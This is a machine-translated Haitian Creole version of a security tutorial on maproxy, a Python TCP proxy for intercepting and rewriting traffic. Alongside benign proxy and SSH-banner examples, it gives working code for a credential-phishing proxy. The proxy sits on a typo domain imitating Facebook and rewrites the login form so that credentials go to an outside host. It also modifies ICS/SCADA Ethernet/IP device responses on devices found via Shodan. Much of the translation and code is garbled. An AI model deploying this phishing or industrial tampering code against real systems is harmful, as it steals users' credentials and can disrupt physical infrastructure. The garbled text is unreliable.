Tradiksyon atik la te prepare lavèy kòmansman kou a
Anotasyon
Yon varyete de kalite evalyasyon sekirite, sòti nan tès pénétration regilye ak operasyon Ekip Wouj pou pirate aparèy IoT/ICS ak SCADA, enplike travay ak pwotokòl rezo binè, se sa ki, esansyèlman entèsepte ak modifye done rezo ant kliyan an ak sib la. Sniffing trafik rezo a se pa yon tach difisil paske nou gen zouti tankou Wireshark, Tcpdump oswa Scapy, men modifikasyon sanble ap yon travay ki pi entansif depi nou pral bezwen gen kèk kalite koòdone pou li done rezo a, filtre li, chanje. li sou vole a epi voye li tounen bay lame a sib nan tan prèske reyèl. Anplis de sa, li ta ideyal si yon zouti konsa ta ka otomatikman travay ak plizyè koneksyon paralèl epi yo dwe customizable lè l sèvi avèk scripts.
Yon jou mwen dekouvri yon zouti ki rele
, dokiman an byen vit te fè li klè pou mwen sa maproxy
- jis sa mwen bezwen. Sa a se yon proxy TCP ki senp, versatile ak fasil configurable. Mwen te teste zouti sa a sou plizyè aplikasyon konplike san patipri, tankou aparèy ICS (ki jenere anpil pake) pou wè si li te kapab okipe anpil koneksyon paralèl, epi zouti a te byen fè.
Atik sa a pral prezante w nan pwosesis done rezo sou vole a lè l sèvi avèk maproxy
.
Revize
Zouti maproxy
baze sou Tornado, yon fondasyon rezo asynchrone popilè ak matirite nan Python.
An jeneral, li ka opere nan plizyè mòd:
TCP:TCP
- koneksyon TCP ki pa chiffres;TCP:SSL
иSSL:TCP
- ak chifreman yon sèl-fason;SSL:SSL
- de-fason chifreman.
Li vini kòm yon bibliyotèk. Pou yon demaraj rapid, ou ka itilize dosye egzanp ki reflete prensipal la
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Ka 1 - senp prokurasyon bidireksyon
Baze sou tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Pa default ProxyServer()
pran de agiman - kote koneksyon an ak pò sib la. server.listen()
pran yon sèl agiman - pò a pou koute koneksyon an fèk ap rantre.
Egzekite script la:
# python tcp2tcp.py
Pou fè tès la, nou pral konekte ak yon sèvè SSH lokal atravè script proxy nou an, ki koute 2222/tcp
pò ak konekte nan yon pò estanda 22/tcp
Sèvè SSH:
Banyè akeyi a fè w konnen ke egzanp script nou an te byen proxy trafik rezo a.
Ka 2 - modifikasyon done
Yon lòt script Demo logging_proxy.py
ideyal pou kominike avèk done rezo a. Kòmantè ki nan dosye a dekri metòd klas ou ka modifye pou reyalize objektif ou:
Bagay ki pi enteresan an se isit la:
on_c2p_done_read
– entèsepte done sou wout la soti nan kliyan an nan sèvè a;on_p2s_done_read
- ranvèse.
Ann eseye chanje banyè SSH ke sèvè a retounen nan kliyan an:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Egzekite script la:
Kòm ou ka wè, kliyan an te twonpe paske yo te chanje non sèvè SSH la pou li «DumnySSH»
.
Ka 3 - senp paj entènèt èskrokri
Gen fason kontinuèl yo sèvi ak zouti sa a. Fwa sa a, ann konsantre sou yon bagay ki pi pratik nan bò operasyon Ekip Wouj la. Ann imite landing page la m.facebook.com
epi sèvi ak yon domèn koutim ak yon typo ekspre, pou egzanp, m.facebok.com
. Pou rezon demonstrasyon, an n jis sipoze ke domèn nan anrejistre pa nou.
Nou pral etabli yon koneksyon rezo ki pa chiffres ak proxy viktim nou yo ak SSL Stream sou sèvè Facebook la (31.13.81.36
). Pou fè egzanp sa a travay, nou bezwen ranplase header lame HTTP ak enjekte non host ki kòrèk la, epi nou pral tou enfim konpresyon repons pou nou ka fasilman jwenn aksè nan kontni an. Finalman, nou pral ranplase fòm HTML la pou yo voye kalifikasyon yo konekte nan plas serveurs Facebook yo:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ht/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
An rezime:
Kòm ou ka wè, nou te avèk siksè kapab ranplase sit orijinal la.
Ka 4 - Port Ethernet/IP
Mwen te fè fas ak aparèy endistriyèl ak lojisyèl (ICS/SCADA) pou kèk tan, tankou contrôleur programmable (PLC), modil I/O, kondui, rle, anviwònman pwogramasyon nechèl ak anpil plis. Ka sa a se pou moun ki renmen bagay endistriyèl. Hacking solisyon sa yo enplike aktivman jwe ak pwotokòl rezo yo. Nan egzanp sa a, mwen ta renmen montre kijan ou ka modifye trafik rezo ICS/SCADA.
Pou sa w ap bezwen bagay sa yo:
- Rezo sniffer, pou egzanp, Wireshark;
- Ethernet / IP oswa jis yon aparèy SIP, ou ka jwenn li lè l sèvi avèk sèvis la Shodan;
- Se script nou an ki baze sou
maproxy
.
Premyèman, ann gade kisa yon repons idantifikasyon tipik nan CIP (Common Industrial Protocol) sanble:
Se idantifikasyon aparèy akonpli lè l sèvi avèk pwotokòl Ethernet/IP, ki se yon vèsyon amelyore nan pwotokòl Ethernet endistriyèl la ki vlope pwotokòl kontwòl tankou CIP. Nou pral chanje non ID make ki vizib nan ekran an "NI-IndComm pou Ethernet" lè l sèvi avèk script proxy nou an. Nou ta ka reitilize script la logging_proxy.py
ak menm jan an tou modifye metòd klas la on_p2s_done_read
, paske nou vle yon non idantite diferan yo dwe vizib sou kliyan an.
Kòd:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Esansyèlman, nou te mande pou idantifikasyon aparèy de fwa, dezyèm repons lan te orijinal la, epi premye a te modifye sou vole.
E anfen
Nan opinyon mwen maproxy
Yon zouti pratik ak senp, ki ekri tou nan Python, kidonk mwen kwè ke ou menm tou ka benefisye lè w sèvi ak li. Natirèlman, gen zouti ki pi konplèks pou trete ak modifye done rezo a, men yo tou mande pou plis atansyon epi yo anjeneral kreye pou yon ka itilizasyon espesifik, pa egzanp. maproxy
ou ka byen vit aplike lide ou pou entèsepte done rezo a, depi egzanp scripts yo trè klè.
Sous: www.habr.com